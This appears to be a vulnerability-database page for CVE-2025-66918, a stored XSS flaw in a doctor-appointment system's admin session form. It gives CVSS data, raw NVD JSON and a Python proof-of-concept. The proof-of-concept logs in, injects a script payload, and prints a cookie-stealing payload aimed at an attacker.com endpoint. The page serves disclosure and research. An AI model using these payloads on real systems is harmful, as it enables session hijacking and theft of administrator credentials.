Security Vulnerability Report
中文
CVE-2025-66918 CVSS 8.8 HIGH

CVE-2025-66918

Published: 2025-12-11 18:16:25
Last Modified: 2025-12-23 14:46:41

Description

edoc-doctor-appointment-system v1.0.1 is vulnerable to Cross Site Scripting (XSS) in admin/add-session.php via the "title" parameter.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:hashenudara:edoc-doctor-appointment-system:1.0.1:*:*:*:*:*:*:* - VULNERABLE
edoc-doctor-appointment-system v1.0.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-66918 PoC - Stored XSS in edoc-doctor-appointment-system # Target: admin/add-session.php via title parameter def exploit_xss(target_url, username, password): """ Exploit stored XSS vulnerability in edoc-doctor-appointment-system """ session = requests.Session() # Step 1: Login to admin panel login_url = f"{target_url}/login.php" login_data = { 'username': username, 'password': password } try: response = session.post(login_url, data=login_data) # Step 2: Inject XSS payload via title parameter xss_payload = '<script>alert(document.cookie)</script>' add_session_url = f"{target_url}/admin/add-session.php" session_data = { 'title': xss_payload, 'description': 'Test session', 'doctor': '1', 'date': '2025-01-01', 'time': '09:00', 'submit': 'submit' } response = session.post(add_session_url, data=session_data) print(f"[+] XSS payload sent: {xss_payload}") print(f"[+] Visit admin/add-session.php to trigger the XSS") # Alternative payloads for session hijacking cookie_stealer = '<script>document.location="http://attacker.com/steal.php?c="+document.cookie</script>' print(f"\n[+] Cookie stealing payload: {cookie_stealer}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 5: print("Usage: python cve-2025-66918.py <target_url> <username> <password>") print("Example: python cve-2025-66918.py http://localhost admin password123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_xss(target, user, pwd)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66918", "sourceIdentifier": "[email protected]", "published": "2025-12-11T18:16:25.070", "lastModified": "2025-12-23T14:46:40.710", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "edoc-doctor-appointment-system v1.0.1 is vulnerable to Cross Site Scripting (XSS) in admin/add-session.php via the \"title\" parameter."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hashenudara:edoc-doctor-appointment-system:1.0.1:*:*:*:*:*:*:*", "matchCriteriaId": "D27385E1-8A64-47D3-84AD-35C78EFD0EDD"}]}]}], "references": [{"url": "https://github.com/HashenUdara/edoc-doctor-appointment-system", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/omkaryepre/vulnerability-research/blob/main/CVE-2025-66918/readme.md", "source": "[email protected]", "tags": ["Exploit", "Patch", "Third Party Advisory"]}]}}